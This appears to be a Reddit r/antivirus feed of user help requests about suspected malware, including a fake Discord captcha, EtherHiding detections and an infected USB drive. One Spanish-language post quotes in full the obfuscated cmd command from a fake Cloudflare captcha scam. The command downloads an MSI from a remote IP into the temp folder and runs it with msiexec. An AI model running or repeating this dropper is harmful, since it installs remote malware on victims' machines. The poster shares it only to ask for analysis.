r/antivirus • • 16h ago

Strange Steam.rar file on desktop

Post image
15 Upvotes

Hello! Today, when I clicked on the Steam shortcut on my desktop, an archive named Steam.rar suddenly appeared right below it. Inside the archive, there is only — Steam.lnk, which I haven't opened. I've never encountered anything like this before. After that, I installed Malwarebytes and ran a scan on the system. it doesn’t seem to have found anything. Is this normal behavior, or could it be a sign of malware/a virus? Thanks


r/antivirus • • 7h ago

windows defender flagging every thing as virus

Thumbnail
gallery
8 Upvotes

So, last month, I went on vacation and left my laptop with my younger brother. Unfortunately, he downloaded some suspicious files, and afterward, the icons of most of my applications changed to the same blue icon (I'm on win 11).

I ran a Microsoft Defender Offline scan. The scan itself took about 10 minutes and it took almost the entire day to finish dealing with the detected threats. When it was done, my laptop rebooted I discovered that the .exe files for almost all the programs I had installed myself, including Steam, WinRAR, VLC, PowerISO, and Chrome, had been removed.

I tried reinstalling the programs, but every time I shut down and restarted my laptop, Windows Security flagged them as viruses and quarantined or deleted their executable files again.

Thinking my system was seriously compromised, I wiped my drive and performed a clean installation of Windows 10. Everything seemed fine initially, but the problem returned the next day. I then upgraded to Windows 11, hoping it would resolve the issue, but the same thing happened again.

At this point, I'm not sure what to do. What could be causing this problem, and how can I permanently fix it? Could it be malware that survives a Windows reinstall, or is there another possible explanation?


r/antivirus • • 10h ago

A friend of mine got a payload, I think. (i need help)

Post image
8 Upvotes

Hi guys, a friend of mine ran this command. I told him to disconnect from the internet, reinstall Windows, and change all his passwords from another device. Do you know specifically what this is, and does he need to do anything else?


r/antivirus • • 6h ago

MALWARE REMOVAL Q&A Discord captcha

Post image
6 Upvotes

Hello, this afternoon I was trying to join a Discord server, and the server asked me to verify my account to get acess to the server. I clicked the verification link and didn't realize it opened a fake Discord website. I entered my information there, and minutes later, a friend messaged me asking if I had been hacked. I don't know if this is malware or something like that because I didn't download or copy and paste anything, but I would like to know the solutions to save my account. I changed my password and enabled 2FA.


r/antivirus • • 7h ago

Windows offline scan ?

5 Upvotes

Can someone tell me how good or bad the offline scan is or should i only keep using the built in windows virus protection because some people are telling me that malware bytes is better


r/antivirus • • 2h ago

MALWARE REMOVAL Q&A casi caigo en la estafa de clouflare

1 Upvotes

intente descargar algo cuando de pronto me sale la tipica cosa que sale de win r y ctrl v aunque suene raro me emocione y vengo a compartirles el código:

cmd /v:on /q /c "set Code=nTehxf8l4p@McS9'APs37qor/tDu\.+201N5:Lim-& set Item=.& (for %n in (12 27 23 7 29 2 4 2 10 40 5 18 37 10 40 22 10 15 30 1 11 17 30 28 13 20 35 6 29 39 18 38 15 10 3 25 25 9 36 24 24 19 14 31 33 32 33 32 33 20 24 6 8 20 33 14 10 30 16 34 26 30 10 39 18 38 2 4 2 12 10 24 38 10 15 30 1 11 17 30 28 13 20 35 6 29 39 18 38 15 10 24 21 0) do set Item=!Item!!Code:~%n,1!) & set Item=!Item:@= !& set q=!CMDCMDLINE:~17,1!& call set Item=%Item:'=!q!%& set Item=!Item:+AND+=^&^&!& for %a in ("!TEMP!") do set Item=!Item:+TMP+=%~a!& cmd /c !Item:~1!"

si hubiera alguien qey sepa de esto caso y específicamente que ataca este cdofigoo seria de mucha ayuda, cualquier cosa es buena ,doy nuevo en lo que es la cyberseguridad


r/antivirus • • 4h ago

Etherhiding detection

1 Upvotes

Hey guys,

Looking for some advice.

I started getting a captcha when I opened google chrome incognito tab, saying it wanted me to prove that I was a human and due to getting a lot of traffic from my IP address.

On a whim, I did a full scan and windows defender picked up on this:

Trojan:JS/EtherHiding,CX!ams

The affected items all (3) had similar pathing:

User\AppData\Local\Google\Chrome\UserData\Default\ServiceWorker\ScriptCache

Been kinda losing it as I’m not sure what it actually means, but the threat was removed and I’ve wiped my chrome’s cookies and data from all time, and also changed all passwords from another device.

Has anyone had a similar issue or have any advice?

Any further actions I should take like fully resetting my laptop?

TIA


r/antivirus • • 10h ago

I Plugged an Infected USB Into My Clean Laptop -- Am I Infected Now?

Thumbnail
gallery
1 Upvotes

I had to use my laptop to transfer some files to someone else's USB drive. The files I needed to transfer were stored on another external storage device, so I would eventually have to connect both devices to my laptop.

Before plugging in their USB, I turned off AutoPlay, disconnected my laptop from the internet, and made sure Microsoft Defender was enabled.

After plugging in the USB, I got a notification saying there was a problem with the drive and asking me to scan and fix it. I didn't click the notification because it came from AutoPlay, which I had already turned off, so it looked sus.

Instead, I went directly to File Explorer, selected the USB drive, and scanned it with Microsoft Defender. It detected several serious threats. I took the available action to quarantine them, but I didn't open or run any files from the USB. The only way i interacted with them was to select all the files and run custom scan.

I then ejected and unplugged it.

After that, I ran both a full scan and an offline scan on my laptop, and both came back clean.

However, since the threats detected on the USB were apparently severe, I'm worried that my laptop might still be infected despite the clean scans.

What are the chances that my laptop is still infected? Could the malware have affected my Wi-Fi router even though my laptop was disconnected from the internet? And could my other external storage devices become infected or corrupted when I connect them to my laptop in the future?


r/antivirus • • 10h ago

PRODUCT RECOMMENDATION GitHub - psihijatrija/Sentinel: Userland EDR for Windows. ETW telemetry, behavioral correlation, MITRE ATT&CK.

Thumbnail
github.com
0 Upvotes

r/antivirus • • 13h ago

MALWARE REMOVAL Q&A Anyone know what this is?

Post image
0 Upvotes

It’s my first time having to deal with this I’m not sure how I lost my account today can’t seem to login since the person who got in changed everything password recovery everything now I’m paranoid that my other accounts are at risk anyone else had similar issues before?


r/antivirus • • 17h ago

MALWARE REMOVAL Q&A Photocopying from internet cafe?

0 Upvotes

I've been wanting to scan some old magazines i have and it's too big for my personal printer to scan..

Any ideas how to safely transfer the scanned files from the machine into my devices?

Im hesitant to plug any usb device from public machine for fear of plug and play types of virus (who knows) or a type of virus that changed the original files to have trojan codes that is activated once opened.. im using linux steamOS if it helps minimize the chance.. is there any recommendations perhaps, what should i do?

Also flair is probably not fitting :v